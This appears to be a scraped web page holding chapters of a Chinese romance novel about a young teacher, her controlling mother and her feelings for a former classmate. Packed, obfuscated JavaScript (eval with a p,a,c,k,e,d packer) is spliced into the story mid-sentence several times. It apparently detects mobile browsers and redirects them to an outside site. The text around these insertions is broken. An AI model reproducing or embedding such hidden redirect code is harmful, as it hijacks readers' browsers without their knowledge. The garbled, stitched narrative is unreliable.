一直到周五,五一假前最后一天,早晨爽快下了场阵雨后,太阳光忽然破开云层,久违地,尽情倾洒大地。 戚柠上午请了两个小时的假,去医院做最后一次复查,顺道拆掉脚腕上的纱布。 戚岚女士陪她一起。 还是上次那家骨科医院。 找的同一个主任医师,帮她换纱布的小护士换成了护士长。 这几天来复查,都是这名姓孙的护士长帮她换的药。 戚柠没感觉手法有什么区别,不过,戚岚既然这么安排了,她只会乖乖听话。 复查结束,两人乘电梯准备下楼。 梯门启动,戚柠跟在戚岚身后,正要进去,身后突然传来一声清晰而响亮的——“戚柠小姐姐!” 戚柠回头,小护士满脸惊喜,又挥手喊了她一下,抢在梯厢门关合前一秒,挤了进来。 电梯内只有她们三个人。 先开口的是戚岚:“你认识我们家柠柠?” 话对着小护士说的,视线落脚在戚柠身上。 小护士跑了几步有些喘,抚着胸口顺气,摆摆手,顾不上回答。 戚柠想了想,软声给妈妈介绍:“我那天来医院,是这个护士帮我包扎的。” 小护士猛点头,终于喘过气,“对对对,就是我!” 她自报家门:“我叫李晓,汀大医学院学生,护理专业的,读大四,目前在这所医院实习。” 戚柠偏头,小护士目光灼灼盯着她的脸,眼含打量,像是在确认她对这些信息有没有印象。 不等戚柠有所反应,戚岚开了口:“是有什么事吗?” “嗯嗯嗯!!”小护士眼睛biu地亮了下。 她看一眼戚岚,又转向戚柠,尴尬笑笑,似乎有些难以启齿,“我是有件事想麻烦你。” 看她表情,应该不算难办,但戚柠心里莫名有种说不上来的预感。 这事会牵扯上封砚。 “……什么事?”戚柠迟疑。 小护士显然没多想,目光迫切地紧追着她,语速飞快,生怕说慢了电梯到站就赶不上趟: “那天我不小心把我的实习结业报告,混在你的病历单后面,一起让你们拿走了。” “实习报告要放在档案里头,不然毕不了业,我、你看如果方便的话,能不能我跟你过去拿一下?或者你闪送寄给我也行……” 戚柠听出那份实习报告的重要性,但她的病历单? 眉毛皱了皱,她想不起来自己有没有带回家。 踌躇间,戚岚突然笑着插话:“会不会你是记错了?我们没有见过什么实习报告,小姑娘,你最好自己再仔细找一找。” 数字楼显上的红色字符快速倒流。 眨眼从9楼掉到了3楼。 戚柠还在努力回想。那天从医院出来,封砚把她抱回车上,递给她一个药品袋,里面好像只有…… 胳膊蓦地被人抓住。 移眼过去,小护士眼神恳切望着她,语气肯定: “是真的,当时我是交给了你的男……性朋友,他顺手收进了电脑包里,我有印象。” 戚柠皮肤薄,手腕顷刻落下一圈红印。 小护士意识到,立马松开,道歉,并再三保证,“我反复回忆那天,捋了无数遍细节,绝对不会有错!” 叮一声,电梯到了一楼。 医院不能离岗太久,小护士急匆匆塞给戚柠一张纸片,上面记着联系方式: “拜托拜托,这份实习证明对我很重要,希望你能帮忙找一下,谢谢了!” 戚柠下意识瞄戚岚的脸色。 没看出什么。 犹豫了下,她回个“好”字,将纸条接了过来。 - 出了医院,戚岚开车送她回学校,到校内已是十点。 找了个车位停稳,戚岚垂眸看手上腕表:“快中午了,上楼跟同事们打个招呼,带你去吃饭?”说着,打开车门,提包款款下了车。 戚柠轻轻“哦”了声,过了数十秒,才想起来自己也需要下车。 她解开安全带,跟在戚岚身后上楼,往办公室方向走。 戚柠这几天在家养伤,请了假没来上班。 几天不见,大家好像都对她有些陌生似的,一个个互相眼神交流,却没人率先开口。 直到戚岚出现在她身后。 戚岚往门口一站,细高跟轻扣瓷砖,白色休闲西装合衬贴身,视线淡淡扫来,举手投足优雅从容,自带一种威严感。 像极了上面下来视察工作的女领导。 但她长相温婉大方,脸上始终融着笑意,眼神交错时,略一点头示意,又无形拉进了距离,给人种知性和善的亲切感。 如同冻结的河面倏然恢复流动。 “岚姐!”杜慷是第一个凑上来的,手上端着杯刚倒好的热茶,杯托朝外往前递,“您坐,喝点茶润润嗓,跑一上午累坏了吧?” “客气了,杜老师。” 戚岚口气随意地跟他寒暄几句,将茶杯接过来,又顺势放在旁边桌子上,转口问起荣誉墙上挂着的那块匾。 杜慷欣然介绍。 其余几人也陆续加入到聊天中,话题从天气延伸到五一假,又延伸到出玩旅游,天南地北地聊,气氛轻松愉快。 闲谈的过程中,戚柠就乖乖站在一旁,不参与,但也没完全跑神,在话题绕到她身上时,还能及时配合露出个笑脸。 引得众人又是一顿吹捧感叹,真是没见过小柠这么单纯软和的女孩,长得还这么漂亮,抿唇一笑我心都化了,办公室的小女神,可人疼哟。 就这么聊了大概有十分钟,戚岚不经意抬手把戚柠往前揽了一下,又笑着面向其他人:“我们柠柠表姐在也滩那边投资了一个度假酒店,环境还不错,正好趁着节假日,你们年轻人感兴趣的话可以过去玩玩。” 戚柠在亲妈眼神提示下,茫茫然打开手上提包,低头,赫然在里面看到了一沓整齐的票券。 她完全不知道它们为什么会出现在她的包里,但从戚岚的话音里,也明白过来这些是什么。 酒店入住券。 海景套房,三天四晚,含潜水、冲浪、夜景游船等项目,再多的,还没来得及读完,已经被戚岚帮着一起拿出来,分给了同事们。 众人推搡了一两下,也就道谢收下,不跟她客气。 戚岚母女两个向来大方,家底在那儿摆着,光网上曝光出来的,每年做公益都不知道要捐掉多少个W,这点房费好比毛毛雨。 而且换另个角度来看,这何尝不是在薅资本主义羊毛,不收白不收。 戚岚趁机说出告别词,笑意盈盈拜托大家平时多照顾一下戚柠。 众人纷纷一口应下,在她出门前,又亲热地催戚柠下楼去送:“反正下午也什么没事,小柠就不要过来了,你脚还伤着,在家好好养一养,年轻人啊,就是太敬业了,衬得我们老脸都没地儿放,我看今年学校评五一劳动模范,必须得投小柠一票。” 最后一句是杜慷补的,话音还没落地,曹文敏的脸就肉眼可见僵了一下,至于其他人的脸色,只能说……不难看。 戚岚表情八风不动,唇角含笑,不接茬也不反驳,像是没听见一样转身出门。 戚柠自从看见那沓券后,便耷拉着眼皮,一心一意沉浸在自己的小世界,对这场短暂交锋一无所觉。 雨后初晴,罢工多日的太阳卯足干劲,仿佛要将所有热情都倾泻而出,戚柠刚下楼道,迎面就被强烈光线刺激得眯了下眼。 也在同一时间,戚岚转身,手上撑开一副墨镜,轻轻一推,架在了她鼻梁上。 母女两人一前一后往车位方向走,边走边低声交流。 “你跟曹文敏合得来吗?我看她这个人有点不好相与?” “曹老师人很好,很专业。” “你们办公室倒是人都不坏,心思也简单,贪小便宜不算什么,重要的是得懂识眼色。” “他们都很好。” “之前那事算过去了,至少这几个该心里有数,今后要是还有谁背后议论,你直接跟小田说,她自会处理。至于那个叫郝云的小姑娘,她今后不会出现在花汀。” 戚柠脚步停了,视线固定在戚岚那一动一动的红唇上,然后,慢慢往上。 隔着一层茶色墨镜,两人目光交汇。 汀附小全名水汀大学附属小学,名义上背靠top级名校汀大,其实是个不折不扣的私立小学。 私立比公立学校要爱惜名誉,也更重视学生家长的诉求和反馈。 “小三事件”事发当天,不消一上午,校方便处理妥当。 故事也不曲折。 借着交流学生在校情况的名义,郝云和男家长私下加了联系方式,聊天时频频逾矩,有暧昧撩骚之嫌。 对此,郝云供认不讳,坦白两人关系仅限聊天,她没有实质性插足对方婚姻。 唯一的意外状况是,在被老婆抓包后,男家长承认精神出轨,却坚称跟他搞不正当关系的人是戚柠。 他甚至提供了不少有力物证。 而在当场对证时,另一当事人郝云表现差劲,多次说错答不上来。 事情到这地步,男家长这个出轨的反而来劲儿了,那架势看起来比他老婆还要恼火,咄咄逼人,叫嚣着要让校方给他个说法,凭什么恋了一个多月的女朋友被掉了包。 话里话外都是戚柠敢做不敢当,撩了他,东窗事发后却又躲得彻彻底底,删微信,拉黑号码,假装什么都没发生。学校更是荒唐,不光包庇她,还主动帮忙找好了替罪羊,真以为有张漂亮脸蛋就能为所欲为,随意玩弄别人感情不用负责? 直言学校要是不把戚柠喊过来,当面对峙,给他个交代,他就要实名将那些证据曝光在网上,既然不让他好过,他也坚决要让她身败名裂。 好似陷入罗生门。 两边各执一词。 学校最后拿人脉和资源解 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13670596|144148||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 决了这件事。 终究还是气不过,男人离开前阴阳怪气了几句,被有心人听见,当成什么八卦流传了出去。 戚柠从于津津和吴为那里大概知道了一点。 但不多。 直到前天,郝云突然给她打电话,说自己要出国读书。 戚柠以为她是受绯闻影响被学校辞退,还安慰了她两句。 没想到郝云闻言好笑讽她:“戚公主,都这时候了,能不能别这么假?” “什么意思?” 戚柠当时是这么问的。 “我这个人是爱钱,但还不至于不自量力。” “那位男家长,好歹也是汪老台长的独孙,论身价,是远比不上你们这种含着金汤匙出身。但人混自媒体,手边现金流至少过亿,以他的眼光,会看上我这个平平无奇的小镇女孩?” “不管怎么说,我得谢谢你,要不是学校给的五百万,我再打十年工,恐怕也攒不到出国留学的钱。” 一番话说完,郝云没给她追问的机会,直接挂断销号。 田主任口风严,戚柠勉强从杜慷那里打听到一些内情,说郝云确实不是小三,一开始女家长把郝云跟她搞混了。 这分明暗指,事实确如男家长所说,郝云是帮她顶锅当了替罪羊。 可戚柠又不是失忆失智。 她跟那个男家长之间有没有什么,她自己还能不清楚吗? 估计是听到了风声,戚岚安抚她:“好了,宝贝只管在家好好养伤,无聊了就弹弹琴看看书,这件事妈妈来处理。” 戚柠以为至少妈妈会让学校调查清楚原委,没想到…… 所以,这就是最终结果? 明明她只是被牵扯进来。 为什么要去“贿赂”同事,拿钱封口。 …… 戚柠脑子里一瞬间涌出好多话想说,可是太乱了,没有逻辑,中间还夹着股说不清道不明的闷气,越发阻碍理顺思绪。 她就这么不做声地跟戚岚对望了快有一分钟。 或许是大半张脸都藏在墨镜后面,不必真的直视戚岚眼睛,给了她安全感。 戚柠抿抿唇,出声质疑:“为什么不调查清楚真相?” “现今社会浮躁,哪有人会愿意等待真相,将舆论扼杀在摇篮是最快最有效的解决办法。” 戚岚语气轻柔,耐心跟她解释。 “拿这件事来说,查清真相,还你清白,在你看来,这才是正常思路是不是?” “可实情是什么?调查阶段舆论满天飞,通报结果出来,继续被质疑真伪,认定是背后谈妥了利益拿钱摆平……大家只在乎猎奇,真相哪有‘名门小公主知三当三’这样的噱头来得劲爆。” “到时候你的名声还要不要了?污点沾上就甩不掉,圈子里其他人该怎么看你?” “宝贝,永远不要向无关紧要的人自证,这件事就算翻篇了,妈妈会加紧帮你物色联姻对象,中午去吃你最爱的味听·柠?” 戚柠没再吭声。 听起来妈妈说得那么正确,可不知为何,她胸口还是堵得慌。 来到车前,戚岚拉开副驾驶车门,让开位置,示意她坐进去。 戚柠站着没动。 “就因为这点小事,要跟妈妈生气,连话也不想说了?” “不是,没有生气。”戚柠摇头,哪怕有点不开心,但还是立刻澄清。 她老实说,“学校下午安排了给环卫工人献花活动,我有任务分工。” 味听·柠是改良版淮扬菜,位于城郊,建在古色古香的园林景区,不光路远,吃一顿饭耗时也长,学校下午四点半放学,这个点过去肯定赶不回来。 戚岚了然,又问:“那晚上……” “晚上我约了课,普拉提。” 戚岚皱眉:“你自己?上课留点神,动作别太剧烈,身体一不舒服立刻跟教练说,别逞强知道吗?” “陆鲤陪我去,我现在……我知道了。” “那就好,”戚岚又叮嘱一遍,“不管怎样安全第一,你注意分寸,不要让妈妈担心。” 戚柠垂头,声音闷闷的:“好。” 临上车,戚岚忽然想起什么:“对了,我还没问,那天是谁陪你去的医院?” “……朋友。” “你冒雨接机的那个?” “是。” 深深打量良久,戚岚笑了声,慈爱地摸她头发,“中午阮玉过来给你送饭,你陈姨今天请假。”话毕,皱了下眉。 “陈姨是出什么事了吗?” 戚柠看出戚岚的担忧。 “前阵儿她初恋不是回来了,哄了她几天,张口闭口说结婚,现在人突然失联了。我怀疑那什么初恋,根本就是耍她玩。男人的爱都有保质期,多少年过去了,细胞都更新几轮,还能剩几分真心?” 戚柠睫毛一颤,心脏陡地失足下坠,沉入茫茫无际深海。 小护士的实习报告在封砚那里。 她答应了帮忙找。 可这几天,封砚的企鹅头像一直都是灰的。 她根本联系不上他。 10. 氢气球 二班上午最后一节是体育,像模像样搞了场篮球比赛,戚柠下楼给小朋友们当啦啦队喊加油。 打完还有十分钟下课,自由活动,戚柠被几个小朋友缠着比定点投篮。 几天不见,小家伙们挺想她,一个个都拥过来要跟她比。 “我们用这个矮的,你得用那个高的!” “好。” “你再站远一点,我们要近一点,津津老师说了,这叫等比放缩。” “好。” 戚柠无奈笑着,任由大家把她推到罚球线之外的距离。 戚柠外形是柔弱挂美人,细胳膊细腿,看着就像体育一窍不通的样子。 小朋友们怕她成绩太差哭鼻子,最后还是心软,允许她往前再站一点。 却又斤斤计较:“最多半只脚那么长,再近就不公平了。” 开始比赛。 规则简单,三分钟内将球投完,得分高者获胜。 小朋友没那么多技巧,基本上都是乱扔,扔中一个算一个。 而戚柠那边,有条不紊维持着节奏,虽然不快,但百投百中。 到最后,大家都惊呆了地围着她看。 于津津举着相机,本来是准备录下世纪出糗场面,结果愣是变成人生高光时刻纪实。 过了三分钟也没人喊停。 有人不做声又推过去一筐球,大家都等着看戚柠第几个会投空。 没有。 直到下课铃声回荡校园上空,戚柠捧着球纳闷回头:“是下课了?三分钟到了吗?” 大家才如梦初醒。 小朋友们团团把戚柠环在中间,无限崇拜地仰着脑袋,争抢喊道:“啊啊啊小柠老师你好厉害,我要你教我投篮!” 好不容易把大家都哄去吃饭午休,戚柠回办公室拿包,又被于津津拦住。 看怪物似的盯着她:“林黛玉倒拔垂杨柳?红楼魂穿水浒称霸篮球场?” “哪有那么夸张。”戚柠有点窘。 “你真的有先天性运动型哮喘?!” “嗯,不过现在好多了。” “简直牛死了,”于津津佩服得五体投地,“你是请了专业教练学习吗?怎么练出来的,百投百中啊我天!” “……不是。” 遍览少女漫的于津津可耻地秒悟了:“嗷呜,难怪我大学篮球课不及格,可恶,老天欠我一个会打篮球的男朋友!” 戚柠像是陷入回忆,红了下脸,没否认。 - 中午阮姨到泊云湾送饭,见她出了汗,马上关心她身体情况。 戚柠说了没事,但很快,戚岚电话还是打了过来。 “要不要现在喊赵玥过去看看?” “不用,”戚柠顿了顿说,“我不舒服的话,会跟赵医生联系。” “宝贝,不要拿身体开玩笑。” 沉默了会儿。“我知道的,妈妈。” 戚柠出厂设置就跟体育无缘。 她是早产儿,出生时4斤2两,刚生下来哭都不会哭,足足在保温箱住了三个多月。 还没出院,被查出患有先天性疾病,一切剧烈运动都有可能诱发哮喘发作。 身子弱,免疫力也差,小时候拿医院当家住。 一张接一张病危通知书派下来,全是戚岚守在病床前,陪她一起熬下来的。 打有记忆以来,戚柠就很少单独行动,一举一动都被严格把关监控。 她不怕身体上的痛苦。 却怕戚岚担心,怕戚岚失望,不想看到妈妈备受摧残的憔悴模样。 所以,戚柠一直乖乖听话,远离所有潜在危险。 其他小朋友蹦蹦跳跳做游戏,她只在旁边安静坐着看他们玩。 妈妈是全天下对她最好最爱她的人。 她必须无条件信任妈妈,接受妈妈的一切安排。 虽然随着她年龄增长,越发有自己的想法后,母女关系一度陷入紧张。 但不管怎样,戚柠永远没办法否认,作为被付出被照顾的对象,她是真真切切得到了好处,从小到大,也一直被妈妈保护得很好很好。 好到稍微忤逆一分来自戚岚的关心,她都良心不安。 电话里,戚岚悉心叮嘱了一堆注意事项,又关心道:“那个实习报告,你联系上你朋友了吗?” “还没有。”戚柠轻声坦白。 “联系不上就算了,我跟医院那边说一声,再给小姑娘出一份实习报告,你别管了。” “嗯,谢谢妈妈。” 收了线,戚柠发着呆,手指无意识又戳进企鹅。 聊天记录停留在她今天上午发的那句,没再更新。 他头像还是灰的。 好似昙花一现的幻觉。 让戚柠忍不住怀疑,那天是不是一场梦。 可对话框内消息又不似作伪,封砚真切给她分享过定位,让她去接了机。 一时间灰心丧气。 脑内蓦地闪过一串数字,戚柠想起来,除了企鹅,还可以打手机。 不过她只有他高中时期的号码,不确定有没有停机。 脑子还没考虑好,手指已经自动在电话页输入那串数字,前缀“0086”。 或许心底深处,她早就想这么做了。 拨过去问问他,考虑好了没有。 只是缺“小护士的实习报告”这样一个正当理由打掩护。 号码是通的。 不长不短的等待后,那头真的有人接起。 戚柠屏住呼吸。 只听一道悦耳带笑的声音漫入耳廓。 “Hello,what‘s up?” 心脏咚咚狂跳。 戚柠手忙脚乱切断通话。 一阵胸闷,如同溺水般窒息。 对面是个年轻女郎。 美式口音。 - 活动两点开始,戚柠被分了三个小朋友,在隔两条马路的香樟大道上献花。 雨洗过的天空澄净透明,两旁行道树枝叶随风簌簌响动,沿着柏油路向前,拔地而起,撑起一道绿色天幕。 香樟大道旁边就是汀附中。 戚柠在这条路上走了三年,上学下学。学校怕校门口堵车,不许家长把车开过来,戚岚每次来接送,都会把车停在泊云湾,然后陪着她一起步行走这段路。 那会儿,戚柠经常在上下学的路上遇到封砚。 香樟大道笔直宽阔,一眼望到尽头,走在路上,很容易留意前后。 戚岚记人很准,开过一次家长会,便把她班上同学认了个七七八八。 路上碰了面,总能第一时间笑着打声招呼,说两句话。 但戚岚从来不跟封砚打招呼,哪怕当时他是戚柠同桌,戚柠还拿着集体照亲手指给她认过。 戚柠在人际方面挺迟钝的,起先并没意识到这点区别。 可架不住遇见封砚的次数太多了。 两人同路,又在同一个班,上下学时间都一样,免不了一前一后走在香樟大道上。 这么高的刷脸频率,温吞慢热如戚柠,都不好意思装作没看见,偶尔视线对视上,也会抿唇冲对方笑笑,算作问好。 一向亲和的戚岚却始终对封砚视若无睹。 实在太反常了。 反常到戚柠没忍住主动向妈妈介绍: “刚才过去的那个穿黑T恤的男生叫封砚,是我同桌,之前我测试卷上的那些红笔批注,你夸字好看的那份,就是他写的,他英语特别好,口音很正,我们班上的英语听力好多都是他录的,听说他还会西班牙语和法语,他体育也……” 戚柠努力搜刮大脑里同学们对封砚的评价,说着说着有点惊讶,发现自己知道的还不少。 再一抬头,戚岚正唇角噙笑盯着她。 眼神里除了一如既往的宠溺,似乎还有别的内容,像试探又似打量。 戚柠觉得透着古怪,加之鲜少背后议论他人,渐渐停了声。 戚岚一手提着书包,一手牵她,两人略过这个话题,转口说起等下先去书店买教辅书,再回揽月山庄。 到了车库。 戚柠抱着书包坐进去,戚岚站在车边,抬手拉出安全带扣片,递给她,在戚柠低头找卡槽的时候,不经意突然发问:“他在追你?” 长得漂亮的女孩往往也被迫早熟。 美貌这种东西,藏是藏不住的,人类都是视觉动物,更何况年少懵懂的男孩女孩,春心萌动,那种从眼睛里冒出来的喜欢是无法克制的。 戚柠读小学就开始收情书,有过一些胆大的男生追她,还有个别不爱学习的坏学生,恶劣地在路口堵她,扬言以后他罩着她,让她乖乖跟着他。 戚柠有时感到困扰,有时啼笑皆非,也有时羡慕他们的张扬中二。 不管心里怎么想,她每次都会礼貌地好声好气拒绝,让他们好好学习,别胡思乱想分心。 可惜这拒绝太软,拦不住少年们的满腔热情。 一直到后来,不知道哪天起,这些情书和追求者一起消失,再没有人追过她。 戚柠心思本来也不在这些方面,悄悄松一口气,不去深究背后原因。 但母女连心,她再笨拙不敏感,也猜出一点,是戚岚在背后帮她解决了这些麻烦。 戚柠高中来汀附中读书,对戚岚而言是意外,不在她的安排之中。戚柠软钉子一样迟来的叛逆期已经足够她头疼,无暇去过多干涉女儿的交友。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13670597|144148||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 这阵子,母女关系日渐回温,仿佛又恢复了以前的亲密无间、无话不说。 还是第一次开诚布公提起这种话题。 戚柠有点不好意思,但又觉得对着妈妈没什么不能说的。 她轻轻摇头,没捅破戚岚话里的“他”是谁,太尴尬了,“没有。” 戚岚轻笑:“那他天天跟着你走?” “有、有吗?”戚柠捂脸避开她的视线,语气里是浓浓的不确定,显然是也发现了这一奇怪的巧合。 戚岚点到为止:“高中还是以学习为主,如果有人骚扰你,一定要及时告诉家里,你还小,妈妈担心你被坏人骗。” “嗯嗯。”戚柠听话点头。 这天之后,戚柠仔细观察了一下,发觉封砚似乎是真的在跟着她。 只要她在泊云湾这边住,大概率都能在路上碰见他,不止是主干道,连小道上也瞧见过他的身影。 就这么胡乱猜疑了许久。 直到有天下晚自习,刚回到小区门口,戚岚突然接了通电话,内容似乎跟戚柠有关,但又不方便让她听到。 戚岚抬手示意她去便利店坐会儿,匆匆走到街角跟那头交涉。 戚柠乖乖往便利店方向走,迈进店门不到一秒,紧跟着,封砚走了进来。 店内灯光明亮,两人就这么四目相对站在门口,戚柠身后摆了棵圣诞树,上面挂满了五彩斑斓的装饰,树顶不伦不类飘着四只爱心形状的氢气球。 气球上面还写了字,从左到右依次是:新年胜旧年、所愿皆成真、所行皆坦途、所爱皆所得。 两人身上是一模一样的校服,长相分不出优胜,诡异氛围加持下,有种别样说不上来的般配。 隔着一道玻璃门,戚岚就站在不远处,只要一转身,便能瞧见这边的情形。 戚柠意识到这点后,慌忙往旁边退了一步。 不小心碰到圣诞树,可能是气球绳子扎得不够紧,被她这么一撞,其中一只悄然逃脱。 她只感觉余光中有什么红色的东西飞过,惊了一瞬,还没反应过来,又是一道阴影覆盖过来,她忙闭眼,封砚身子前倾,抬手抓住了那只红气球。 等戚柠再度睁开眼,封砚手里抓着只气球,正往她的方向递。 那气球上面写了五个字——所爱皆所得。 戚柠心里咯噔一下,眼眶瞠大,下意识抬头盯向他的眼睛。 也是这个动作,让她忽然意识到他长得还挺高,睫毛也很长,瞳仁黑似点漆,眼角微微上挑,目光偏淡,却莫名有种蛊惑人心的感觉。 戚柠脸热,不敢跟他对视,急急瞥开视线。 她抿了抿唇,犹豫几秒,终是怕他尴尬,抬手将气球接了过来。 又过片刻,做好了几分心里建设,她清清嗓子,喊封砚的名字,认真望向他……的下巴:“我有话对你说。” “在这儿?”封砚扬了下眉。 戚柠指指身后角落里的货架,又抬头看他……的嘴巴:“可以吗?” 封砚点了下头,两人走过去。 站在隐蔽角落。 戚柠鼓起勇气,尽她所能组织语言,仍旧说得乱七八糟。 有些话,她对陌生人可以说,对着他,却有些说不出口。 大概还是内心太矛盾了,既明白自己必须拒绝他,给妈妈给交代,又不想两人真的关系变僵,被他疏远。 整个班上,戚柠只跟封砚最熟悉。 先是因为种种缘分巧合,先入为主把两人划为一国,之后经过几个月相处磨合,她早已充分适应和封砚的相处模式,依赖他,也需要他,更习惯了跟他做同桌。 戚柠不想再换人重新磨合。 心意纠结,话说出来就有些弯弯绕绕,来回反复,不那么直截了当。 封砚皱着眉,给足耐心听了两三分钟,忍过前面一长串对他从人品到学习到运动的全方位夸奖,终于听懂了她的大概意思: 你很好很优秀,不要每天跟着我了,会耽误你学习,我们当朋友好不好,我会是个好同桌的,我擅长语文你擅长英语,我们可以互相帮助,共同进步。 前面像是婉拒,后面又像是交友。 封砚搞不懂她这番话的重心,按照正常思路,选择了后者。 “你想跟我组队学习?”他问。 戚柠刚要点头又赶紧摇头,想了想还是点头,“也可以。” 封砚从这个“也”字里,听懂了她的意思,重心在前。 他又在脑子里把她的话过一遍,唇角一掀,被气笑的:“我什么时候尾随你了?” 见她委屈咬唇,他点了下头,轻哼一声,把那两个字换回去:“行,跟着。” “说说看,我什么时候跟着你了?” 11. 抓娃娃 戚柠极不擅长这样当面对质。 在她的设想里,他要么被她说服,要么当耳旁风。这样较劲儿般掰开了揉碎一点点还原,逼她把话说明白,戚柠难以招架,也感到羞耻。 尤其封砚语气散漫,长得不怎么正经,站也没个站型,人没长骨头似的斜靠在货架上,她视线一偏,霍然发现那排货架上放的全是安全套。 戚柠脸瞬间爆红。 封砚耐心告罄,手肘抬起搭在货架上,身体略朝她的方向倾了倾,重复,“嗯?说说,我什么时候跟着你了?” 空气送来他拖腔带调的轻佻音色,似风掠过耳畔,还带着旋,摩擦升温,戚柠没听出质问,只觉得自己好像被调戏了。 不怪戚柠自恋,实在是封砚天生长了副“油腔滑调”的妖孽嗓,平时稍微注意点倒也没什么,熟人面前,一不小心就现出原形。 这会儿更是毫不掩饰地露出声音本色,越发邪性。 再者,他那脸本身就招蜂引蝶,透着痞,不好招惹,眼睛直勾勾落在她身上,带出几分挑衅的意味,仿佛在逗着人玩。 完全就是在故意撩她。 戚柠不笨,能感受得出来,眼前的他跟在学校是不一样的。 封砚虽说人缘好,朋友遍地,平时还是很注意跟女生保持距离。 现在又是跟着她、又是送气球暗示的,说话还这么不着调,也难怪要被误会。 何况只要戚柠站在那儿,就凭那脸蛋、身上浑然天成的清纯小白花气质,理所当然该被所有人暗恋。 多封砚一个一点都不奇怪。 无声僵持。 戚柠简直愠恼得快要哭了。 她对封砚是真挺有好感的,也真心实意把他对她的每一点好都记在心里,她想不通,好好的一个人为什么说起话来,这么不像好人。 要是封砚不喜欢她该多好。 最后,戚柠羞愤地瞪了他一眼,气鼓鼓转身,也忘了把气球还给他,一声不吭牵着走出了店门。 最后的最后,那只当着店员的面被光明正大顺走的气球,是封砚付的钱。 这场误会终结在次日上午。 元旦在即,班长在课间大声嚷着,组织大家去封砚家打游戏吃火锅跨年,封砚同意了,戚柠也被班长热情邀请,才恍然惊觉封砚不是跟踪她,而是也住在泊云湾。 而等戚柠得知,封砚其实没那么早喜欢她,已经是在两人在一起之后了。 不过她对这说法持保留态度,疑心是他嘴硬。 一连串“哇”的惊叫声,将戚柠思绪从回忆中拉扯回来。 顺着三只小朋友的视线望去,她看到了五六个穿着汀附中校服,正在向外翻墙的高中生。 定睛细看,居然全是女生。 身手利落矫健,那娴熟的动作,不像是第一次翻墙。 戚柠几人站的位置正对着那堵墙,高中生一跳下来就看见了她们。 脸上半点不带慌的,见几个小萝卜丁一副没见过世面的样儿,眼睛圆溜溜地目不转睛望过来,还故意冲这边眨眼吹了个口哨,引得三小只又是一阵惊呼。 不远处迎上来两个浑身绿色元素的漂亮女孩,很是兴奋,听语气是跟她们约好了去听演唱会,提前过去在场外布置应援。 女孩们叽叽喳喳商量着,不知道谁问:“听说今天附中邀请往届毕业生过来宣讲,给你们分享介绍大学生活?” 有人回:“对,不过没什么意思,我仔细看了,学长没一个帅的,苍天,难道大学里没有帅哥吗?” 一道声音反驳:“谁说没有,陆泽川学长就很帅,可惜他不上台呜呜呜……” 提起这个,几个汀附中女孩激动八卦起来。 “他毕业好久了吧?” “听说在读博,应该二十四五的样子,是有点老,不过长得帅啊,活动就是他帮着组织的。” “你们知道吗?他女朋友是他们那届的校花诶,叫什么柠来着。” “戚柠,这对可以说是附中榜上有名的模范学霸情侣了,男帅女美,还双双考上名校,如果能在100周年校庆看到他们手牵手出现,我就圆满了。” “别想了,好像分手了。” “不是大三时又复合了吗?” “谁知道。” “其实他们那届校草是封砚学长吧?他那张夺命脸,绝对秒杀现在的顶流们好吧,不出道真心太可惜了!” “但他一看就很难钓啊,段位太高了,有点坏坏的,像是在外面欠了一屁股情债。” “你懂不懂,那叫性张力,一看在床上就很会do的样子。” “啊啊啊啊啊啊啊啊我的耳朵它脏了!!!” “我还是喜欢陆学长这种三好学生,戚柠学姐有眼光,封砚学长那种谈恋爱可以,不适合结婚。” “结婚也太远了吧,说实话,我偷偷在论坛上嗑过封砚学长和戚柠学姐,大灰狼x小白兔,拉扯感绝了,颜也般配,不敢想象他俩的小孩会多好看。” “这是什么邪-教cp,他俩一看就完全不来电吧?” …… 戚柠完全没料到这些女孩子会提起她,讨论的声音还那么大,明明已经走出那么远了,那些熟悉又陌生的字眼,还能争先恐后钻进她耳朵里。 站在她腿边的三小只,狐疑仰头瞅瞅她,又瞅瞅走远的那群女孩,天真又困惑地问:“小柠老师,刚刚姐姐们是在说你吗?” “有吗?”戚柠整理了下情绪,蹲下来,捧脸仰视三小只,佯装好奇:“说我什么?是不是夸我长得好看?” 三小只异口同声:“啊啊啊小柠老师你好自恋!” “我这明明是‘天生丽质难自弃’,”戚柠见三小只没反应,六眼迷茫瞅着她,反应过来,“噢,不好意思,我忘了你们学历太低,还听不懂噗……” 她原本想尝试说句俏皮话皮一下,说着说着,自己先把自己逗乐了。 三小只气得哇哇大叫。 义正言辞控诉:“你太坏了,怎么能这样伤害我们纯洁幼小的心灵,你得弥补我们。” 春鸢:“就是就是,弥补我们,我要一套十二生肖折纸。” 苗苗:“我要两套。” 童童:“我只要兔子和老虎还有小狗就可以了。” 叛徒!春鸢和苗苗对童童怒目而视:“你讲不讲江湖规矩!!” 戚柠赶紧上前拉架:“好啦好啦,一人两套,我们现在先继续给叔叔阿姨送花,等回去你们去我办公室随便挑,可以吗?” 三小只哪有不答应的。 一个比一个积极,蹦蹦跳跳跑到环 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 